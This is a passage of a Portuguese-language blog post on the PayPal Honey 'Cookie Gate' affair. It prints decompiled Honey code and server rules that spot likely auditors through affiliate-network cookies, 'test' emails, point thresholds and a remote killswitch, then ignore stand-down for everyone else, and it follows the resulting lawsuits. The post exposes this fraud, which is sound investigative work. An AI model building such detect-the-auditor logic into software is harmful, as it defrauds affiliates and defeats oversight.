</span></span><span class="line"><span class="cl">    <span class="nt">&#34;gca&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>      <span class="c1">// checar cookie de console de afiliados
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;bl&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>       <span class="c1">// checar blacklist no servidor
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">65000</span><span class="p">,</span>   <span class="c1">// mínimo de pontos pra IGNORAR o stand down
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">26298469858850</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// domínios onde procurar cookies de &#34;insider da indústria&#34;:
</span></span></span><span class="line"><span class="cl">  <span class="nt">&#34;affiliates&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;https://www.cj.com&#34;</span><span class="p">,</span> <span class="s2">&#34;https://www.linkshare&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                 <span class="s2">&#34;https://www.rakuten.com&#34;</span><span class="p">,</span> <span class="s2">&#34;https://ui.awin.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                 <span class="s2">&#34;https://www.swagbucks.com&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;LS&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5001</span> <span class="p">},</span>  <span class="c1">// exceção pra Rakuten (antiga LinkShare)
</span></span></span><span class="line"><span class="cl">  <span class="nt">&#34;PAYPAL&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5000001</span><span class="p">,</span> <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">26298469858850</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;ex&#34;</span><span class="p">:</span> <span class="p">{</span>  <span class="c1">// exceções por loja (IDs internos do Honey)
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;7555272277853494990&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5001</span> <span class="p">},</span>                         <span class="c1">// TJ Maxx
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;7394089402903213168&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">120000</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">1001</span> <span class="p">},</span> <span class="c1">// Booking.com
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;243862338372998182&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">100000</span> <span class="p">},</span>               <span class="c1">// Kayo Sports
</span></span></span><span class="line"><span class="cl">    <span class="c1">// cookies procurados, na MESMA ORDEM dos domínios acima:
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;GA&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;CONTID&#34;</span><span class="p">,</span> <span class="s2">&#34;s_vi&#34;</span><span class="p">,</span> <span class="s2">&#34;_ga&#34;</span><span class="p">,</span> <span class="s2">&#34;networkGroup&#34;</span><span class="p">,</span> <span class="s2">&#34;_gid&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Vamos decodificar. Quando a extensão detecta que você clicou num link de afiliado, ela consulta essas regras antes de decidir se obedece o stand down:</p>
<ul>
<li><strong><code>uL</code></strong> (user logged in): você precisa estar logado numa conta Honey.</li>
<li><strong><code>uA</code></strong> (user account age): sua conta precisa ter uma idade mínima, 30 dias, em milissegundos, <em>&ldquo;por algum motivo&rdquo;</em>, como nota o MegaLag. Conta nova é o padrão de quem testa extensão pra auditoria.</li>
<li><strong><code>uP</code></strong> (user points): você precisa ter acumulado um mínimo de pontos de cashback. Na configuração atual: 65.000 pontos. Como 1.000 pontos valem $10 em vale-compras, isso exige $650 de ganho acumulado, praticamente nenhum usuário real, e com certeza nenhum auditor com conta de teste.</li>
<li><strong><code>bl</code></strong> (blacklist): o servidor pode marcar seu ID, cookie ou IP (quem já reclamou do Honey, por exemplo) e te tratar como &ldquo;alto risco&rdquo;.</li>
<li><strong><code>gca</code></strong>: a mais incriminadora de todas, e merece parágrafo próprio.</li>
</ul>
<p>Se você passa em todos os filtros, o sistema te classifica como consumidor legítimo e o Honey <strong>ignora o stand down</strong>, rouba a comissão. Se falha em qualquer um, te classifica como possível auditor e o Honey se comporta direitinho. O Edelman resume: <em>&ldquo;o Honey respeita o stand down, mas só às vezes. E esse &lsquo;às vezes&rsquo; é previsível.&rdquo;</em> Determinístico, na verdade: mesmas condições, mesmo resultado, reproduzível.</p>
<h3>O gca: procurando cookie de auditor<span class="hx:absolute hx:-mt-20" id="o-gca-procurando-cookie-de-auditor"></span>
    <a href="#o-gca-procurando-cookie-de-auditor" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <code>gca</code> é o equivalente a revistar seu bolso procurando crachá de fiscal. As listas <code>affiliates</code> e <code>GA</code> são pareadas posicionalmente: no domínio <code>cj.com</code>, procure o cookie <code>CONTID</code>; no <code>linkshare</code>, o <code>s_vi</code>; no <code>ui.awin.com</code>, o <code>networkGroup</code>. O código, recuperado via <code>sourceMappingURL</code> do app iOS que vazou praticamente sem ofuscação:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">m</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ex</span> <span class="o">&amp;&amp;</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ex</span><span class="p">.</span><span class="nx">GA</span> <span class="o">||</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="nx">g</span> <span class="o">=</span> <span class="nx">i</span><span class="p">().</span><span class="nx">map</span><span class="p">(</span><span class="nx">p</span><span class="p">.</span><span class="nx">ssd</span> <span class="o">&amp;&amp;</span> <span class="nx">p</span><span class="p">.</span><span class="nx">ssd</span><span class="p">.</span><span class="nx">affiliates</span><span class="p">,</span> <span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">f</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">u</span><span class="p">.</span><span class="nx">A</span><span class="p">.</span><span class="nx">get</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">        <span class="nx">name</span><span class="o">:</span> <span class="nx">m</span><span class="p">[</span><span class="nx">f</span><span class="p">],</span> <span class="c1">// nome do cookie vindo do array GA
</span></span></span><span class="line"><span class="cl">        <span class="nx">url</span><span class="o">:</span> <span class="nx">e</span>      <span class="c1">// domínio a ser verificado
</span></span></span><span class="line"><span class="cl">    <span class="p">}).</span><span class="nx">then</span><span class="p">((</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">gca</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="c1">// achou o cookie: gca = 0, entra em modo compliance
</span></span></span><span class="line"><span class="cl">    <span class="p">}))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se você tem cookie de login do painel de afiliados da CJ, da Rakuten ou da Awin, ou seja, se você trabalha na indústria, o Honey respeita o stand down em tudo, sempre, não importa o link. O MegaLag descobriu isso por acidente, testando a própria extensão que ele construiu (a Cookie Guard): logou na conta de afiliado dele da CJ numa aba, e de repente o Honey virou um anjo.</p>
<p>E tem um detalhe cínico no design: domínios e nomes de cookie ficam em duas listas separadas em vez de pares nome-valor. Como nota o Edelman, o efeito é dificultar que alguém olhando o arquivo perceba a relação entre eles.</p>
<p>O Edelman é categórico sobre o que isso significa: não existe nenhuma razão legítima pra uma extensão de cupons verificar se você logou num painel de afiliados. A única função é se esconder de quem fiscaliza. E quem se esconde sabe que está fazendo algo proibido.</p>
<h3>Os outros truques: email &ldquo;test&rdquo;, killswitch e eBay<span class="hx:absolute hx:-mt-20" id="os-outros-truques-email-test-killswitch-e-ebay"></span>
    <a href="#os-outros-truques-email-test-killswitch-e-ebay" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Tem mais duas pérolas no código. A extensão escaneia seu endereço de email procurando a palavra &ldquo;test&rdquo;. Achou, modo compliance:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">email</span> <span class="o">&amp;&amp;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">email</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="s2">&#34;test&#34;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">bl</span> <span class="o">=</span> <span class="mi">0</span><span class="p">),</span> <span class="o">!</span><span class="nx">r</span><span class="p">.</span><span class="nx">isLoggedIn</span> <span class="o">||</span> <span class="nx">t</span><span class="p">)</span> <span class="p">{</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E existe um killswitch mestre no servidor: a extensão consulta periodicamente uma URL, e dependendo da resposta o sistema SSD inteiro liga ou desliga:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="k">return</span> <span class="nx">e</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="mi">7</span><span class="p">,</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="s2">&#34;https://s.joinhoney.com&#34;</span><span class="p">,</span> <span class="s2">&#34;/ck/alive&#34;</span><span class="p">));</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">c</span> <span class="o">=</span> <span class="nx">S</span><span class="p">().</span><span class="nx">then</span><span class="p">((</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="s2">&#34;alive&#34;</span> <span class="o">===</span> <span class="nx">e</span><span class="p">.</span><span class="nx">is</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">bl</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Um flip no servidor e 14 milhões de extensões entram em modo compliance instantaneamente. Útil, por exemplo, no dia em que uma auditoria grande for anunciada.</p>
<p>E o eBay? O eBay tem tratamento VIP, direto no código: enquanto o stand down normal dura uma hora, o do eBay dura 86.400 segundos (24 horas), e a lógica SSD é explicitamente desativada pra domínios eBay:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="s2">&#34;regex&#34;</span><span class="o">:</span> <span class="s2">&#34;^https?\\:\\/\\/rover\\.ebay((?![\\?\\&amp;]pub=5575133559).)*$&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;provider&#34;</span><span class="o">:</span> <span class="s2">&#34;LS&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;overrideBl&#34;</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;ttl&#34;</span><span class="o">:</span> <span class="mi">86400</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">a</span> <span class="o">=</span> <span class="s2">&#34;ssd&#34;</span> <span class="o">===</span> <span class="nx">r</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="sr">/ebay/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">p</span><span class="p">);</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por quê? Porque em 2008 o eBay processou civil e criminalmente seus dois maiores afiliados, Shawn Hogan e Brian Dunning, que receberam mais de $20 milhões em 18 meses com esquemas de cookie stuffing, e os dois foram presos. O próprio Edelman ajudou a pegá-los. O Honey sabia exatamente com quem não devia brincar. Todo o resto do mercado, aparentemente, era presa fácil.</p>
<h3>A telemetria: a prova que se autodocumenta<span class="hx:absolute hx:-mt-20" id="a-telemetria-a-prova-que-se-autodocumenta"></span>
    <a href="#a-telemetria-a-prova-que-se-autodocumenta" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A parte que me deixou de queixo caído: desde o primeiro dia, o defeat device (o &ldquo;dispositivo de fraude&rdquo;, no jargão do Dieselgate) <strong>registrava cada decisão que tomava</strong>. Quando a extensão decide respeitar o stand down, ela manda telemetria com <code>&quot;method&quot;:&quot;suspend&quot;</code> e um <code>state</code> dizendo exatamente qual regra disparou, <code>&quot;uP:5001&quot;</code>, <code>&quot;gca&quot;</code>, <code>&quot;ssd&quot;</code>, junto com o link de afiliado original, que frequentemente contém o ID e às vezes o nome do afiliado prejudicado.</p>
<p>Em algum lugar nos servidores do PayPal existe um registro detalhado de cada comissão que esse sistema ajudou a roubar. O MegaLag fecha o quarto vídeo pedindo que as redes exijam esses dados e cobrem o reembolso. É difícil discordar.</p>
<h3>Como o MegaLag provou na extensão pública<span class="hx:absolute hx:-mt-20" id="como-o-megalag-provou-na-extensão-pública"></span>
    <a href="#como-o-megalag-provou-na-extens%c3%a3o-p%c3%bablica" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um detalhe de engenharia que merece respeito. Depois do primeiro vídeo, o PayPal subiu o limiar base pra 65.000 pontos, na prática desativando o mecanismo pra quase todo mundo e limitando o comportamento suspeito. Só que quem editou o <code>ssd.json</code> esqueceu a exceção da Rakuten: <code>&quot;LS&quot;: {&quot;uP&quot;: 5001}</code>.</p>
<p>O MegaLag fez o que ele chama de <em>&ldquo;uma maratona de compras dolorosamente cara&rdquo;</em> até passar de 5.000 pontos e reproduziu a fraude na extensão pública, intacta, sem modificar uma linha. (O Edelman fez mais simples: interceptou a resposta do servidor com o Fiddler e mentiu o próprio saldo de pontos. O código dele está no artigo linkado acima.)</p>
<h2>A reescrita do PayPal<span class="hx:absolute hx:-mt-20" id="a-reescrita-do-paypal"></span>
    <a href="#a-reescrita-do-paypal" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A genealogia do sistema, reconstruída pelo MegaLag com ~300 builds arquivados da extensão desde 2014:</p>
<ul>
<li><strong>Outubro de 2017</strong>: o SSD aparece pela primeira vez, na versão 10.5.2, ainda sob os fundadores Ryan Hudson e George Ruan, mas criptografado, embaralhado, ilegível pra quem encontrasse. O pesquisador Wladimir Palant já tinha documentado em 2020 que o Honey escondia trechos do próprio código.</li>
<li><strong>Março de 2021</strong>: sob o PayPal, versão 13.1.0, <strong>o sistema inteiro foi reconstruído</strong>. As regras foram reestruturadas num formato novo e passaram a morar em texto claro nos servidores do PayPal. Foi essa reescrita descuidada que expôs tudo.</li>
</ul>
<p>Guarde essa informação e compare com a declaração oficial do PayPal depois que a casa caiu:</p>
<blockquote>
  <p><em>&ldquo;O código causador desse comportamento foi identificado e não tem mais impacto. O código foi implementado antes da aquisição pelo PayPal e aparentemente afeta menos de 0,1% do tráfego do Honey.&rdquo;</em></p>
<p>— PayPal ao Hello Partner, janeiro de 2026</p>

</blockquote>
<p>O MegaLag chama isso do que é: mentira. Você não reconstrói um sistema do zero, ajusta as regras dele ano após ano, e depois alega que não sabia que ele existia.</p>
<p>A cronologia entrega: o MegaLag avisou o PayPal pedindo comentário em 18 de dezembro de 2025; chamaram as acusações de <em>&ldquo;imprecisas&rdquo;</em> e mandaram os advogados ameaçarem ele. A Rakuten desligou o Honey da rede em 12 de janeiro de 2026. O defeat device foi desativado em 13 de janeiro, um dia depois, quase um mês após o aviso. E o &ldquo;0,1% do tráfego&rdquo; é retórica vazia: as regras moram no servidor, então a abrangência sempre foi ajustável remotamente. Nas regras de 2023, o alvo era praticamente todo mundo.</p>
<h2>As consequências<span class="hx:absolute hx:-mt-20" id="as-consequências"></span>
    <a href="#as-consequ%c3%aancias" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois do Cookie Gate, a fila andou:</p>
<ul>
<li><strong>Rakuten Advertising</strong> (12 de janeiro de 2026): terminou o Honey da rede inteira, mais de 2.000 lojas, incluindo Walmart, Lego, Sephora, Newegg, Uniqlo e Samsung. Detalhe sórdido: emails internos que vieram a público no processo mostram que a Rakuten sabia das violações de stand down desde julho de 2020 e manteve o Honey mesmo assim, e o PayPal ainda respondeu que as políticas de stand down eram <em>&ldquo;exagero&rdquo;</em>. Em maio de 2026 a Rakuten readmitiu o Honey discretamente, depois de publicar um <a href="https://github.com/rakutenrewards/PublisherStandown-SDK"target="_blank" rel="noopener">SDK de stand down de código aberto</a> que o Honey implementou.</li>
<li><strong>Impact</strong> (16 de janeiro): removeu o Honey do marketplace de descoberta e suspendeu a conta, confirmando violação das <em>&ldquo;exigências universais de stand down&rdquo;</em>.</li>
<li><strong>Awin</strong> (21 de janeiro): a maior rede afetada, com mais de 16.000 lojistas. Confirmou <em>&ldquo;violações das nossas políticas de publisher&rdquo;</em>, suspendeu pagamentos e impôs um plano de remediação que inclui <strong>dar às redes acesso ao código-fonte do Honey</strong>.</li>
<li><strong>Google</strong>: em março de 2025 a Chrome Web Store passou a exigir <em>&ldquo;benefício direto e transparente ao usuário&rdquo;</em> pra qualquer extensão que injete links de afiliado. O jeitinho do Honey foi ativar cashback de 0,1% a 1% em quase todas as lojas parceiras. Tecnicamente um benefício, na prática troco de bala.</li>
<li><strong>O mercado respondeu</strong>: o Honey perdeu cerca de 7 milhões de usuários (de 20 milhões pra 14), mais de 7.000 lojas (de ~35.000 pra ~28.000), e a base de cupons encolheu de ~90.000 pra ~50.000 códigos. A Apple, que sozinha gerava mais tráfego monetizável que as 27.000 menores lojas juntas, caiu fora.</li>
</ul>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/EXDemfGNGz0"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h2>A ação coletiva<span class="hx:absolute hx:-mt-20" id="a-ação-coletiva"></span>
    <a href="#a-a%c3%a7%c3%a3o-coletiva" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui o Davi encontra o Golias no tribunal. Dias depois do primeiro vídeo, em 29 de dezembro de 2024, a Wendover Productions (do Sam Denby) entrou com a primeira ação; o Devin Stone, do LegalEagle, que é advogado de verdade, organizou o esforço, e umas vinte firmas abriram ações parecidas em vários estados, incluindo o GamersNexus como autor principal de uma delas. Os casos foram consolidados no distrito norte da Califórnia: <em>In re PayPal Honey Browser Extension Litigation</em>, caso 5:24-cv-09470-BLF, juíza Beth Labson Freeman.</p>
<p>As acusações na petição atual: enriquecimento sem causa, interferência intencional em relações contratuais e em vantagem econômica prospectiva, violação do Computer Fraud and Abuse Act (a lei anti-hacking americana), da lei de acesso indevido a dados da Califórnia, e das leis de concorrência desleal da Califórnia e de Washington.</p>
<p>A cronologia processual é uma novela:</p>
<ul>
<li><strong>Novembro de 2025</strong>: o PayPal tentou forçar arbitragem e perdeu. Semanas depois, a juíza Freeman rejeitou a primeira petição, com permissão pra emendar, porque os contratos de afiliado eram com as lojas, não com o PayPal, e a simulação de Monte Carlo que os autores usaram pra estimar o dano não convenceu. O Ryan Hudson tuitou <em>&ldquo;Case dismissed&rdquo;</em> fazendo graça. O Hello Partner, publicação da indústria que tinha o Honey como patrocinador master da conferência deles, correu pra publicar <em>&ldquo;o que o MegaLag errou&rdquo;</em>.</li>
<li><strong>Janeiro de 2026</strong>: a segunda petição chegou com 101 páginas, dez autores nomeados, os contratos reais das lojas, evidência de compras-teste e, crucialmente, as descobertas do Cookie Gate incorporadas. A página 65 descreve o dispositivo de fraude em detalhe: <em>&ldquo;o PayPal criou vários métodos pra ignorar ou contornar os protocolos de stand down&rdquo;</em>, incluindo a detecção de visita a sites de redes de afiliados, que a petição chama de <em>&ldquo;a revelação mais gritante da má intenção do PayPal&rdquo;</em>.</li>
<li><strong>4 de junho de 2026</strong>: segunda audiência. A juíza avisou o advogado do PayPal, Richard Jacobson, o mesmo que assinou a notificação extrajudicial contra o MegaLag, que ele tinha <em>&ldquo;uma batalha difícil pela frente&rdquo;</em>. Quando a defesa argumentou que IDs de afiliado são <em>&ldquo;só sequências curtas de números e letras&rdquo;</em>, sem valor intrínseco, a juíza respondeu que dá pra dizer o mesmo de uma nota de dólar. Jacobson: <em>&ldquo;não sei como responder a isso.&rdquo;</em></li>
<li><strong>22 de junho de 2026</strong>: o pedido de extinção foi <strong>negado integralmente</strong>. Todas as acusações sobreviveram. O caso agora entra na fase de produção de provas (o <em>discovery</em> americano): documentos internos, comunicações, depoimentos, possivelmente dos fundadores e dos engenheiros do PayPal. Julgamento, se houver, lá pro fim de 2027. O palpite do MegaLag, e o meu também: o PayPal vai tentar acordo pra enterrar esses depoimentos.</li>
</ul>
<p>Vale registrar: uma ação paralela de consumidores do Reino Unido, sobre a propaganda enganosa de <em>&ldquo;melhores cupons&rdquo;</em>, foi rejeitada em junho de 2026. E a Capital One Shopping, processada por esquema parecido, fechou acordo em setembro de 2025 negando culpa.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O que me pega nessa história toda é o padrão de comportamento do PayPal em cada etapa. Acusado com vídeo e demonstração ao vivo, chamou de fake news. Confrontado com o código, mandou notificação extrajudicial e tentou derrubar o vídeo do Patreon alegando violação de direitos autorais. Alertado formalmente sobre o dispositivo de fraude, chamou de <em>&ldquo;impreciso&rdquo;</em> e esperou a Rakuten agir pra desligar. Pego, divulgou que <em>&ldquo;descobriu recentemente&rdquo;</em> um sistema que a própria empresa reconstruiu em 2021.</p>
<p>Em cada degrau, a escolha foi negar, ameaçar, minimizar, até a evidência tornar a posição insustentável; aí recuava meio passo fingindo surpresa.</p>
